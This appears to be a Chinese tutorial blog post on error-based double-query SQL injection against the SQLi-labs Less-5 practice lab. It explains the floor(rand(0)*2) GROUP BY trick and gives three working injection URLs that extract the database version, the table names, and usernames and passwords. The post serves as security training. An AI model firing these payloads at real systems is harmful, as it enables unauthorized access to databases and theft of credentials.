当前位置:网站首页>SQL注入(6)
SQL注入(6)
2022-08-02 03:25:00 【CHIAJ176】
GET报错注入
报错注入介绍
报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
gourp by clause分组函数,按照查询结果分组
通过报错来显示具体的信息
查询的时候如果使用rand()的话,该值会被计算多次。在使用group
by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)*2)的只是定性的,为011011
python select count(*) from table group by floor(rand(0)*2);
GET单引号报错注入
Less 5:
获取数据库
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
GET双引号报错注入
上面的单引号变成双引号,其它的没什么改变
Sqlmap安全测试
略!!!
边栏推荐
- 攻防世界—MISC 新手区1-12
- What will be new in PHP8.2?
- What are the killer super powerful frameworks or libraries or applications for PHP?
- Masashi: 1 vulnhub walkthrough
- Orasi: 1 vulnhub walkthrough
- Phonebook
- CTF入门笔记之SQL注入
- (1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
- (7) 浅学 “爬虫” 过程 (概念+练习)
- Praying: 1 vulnhub walkthrough
猜你喜欢
随机推荐
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
DarkHole: 2 vulnhub walkthrough
(3)Thinkphp6数据库
一个网络安全小白鼠的学习之路——nmap的基本使用
[symfony/mailer] An elegant and easy-to-use mail library
1.初识PHP
What are the killer super powerful frameworks or libraries or applications for PHP?
[league/climate] A robust command-line function manipulation library
IO stream, encoding table, character stream, character buffer stream
PHP Foundation March Press Announcement Released
12. What is JS
阿里云MySQL5.7安装以及部分主要问题(总和)
TypeScript error error TS2469, error TS2731 solution
DNS详解
[phpunit/php-timer] A timer for code execution time
JS对象, 函数和作用域
CTF入门之php文件包含
4. The form with the input
2.PHP变量、输出、EOF、条件语句
Phpstudy安装Thinkphp6(问题+解决)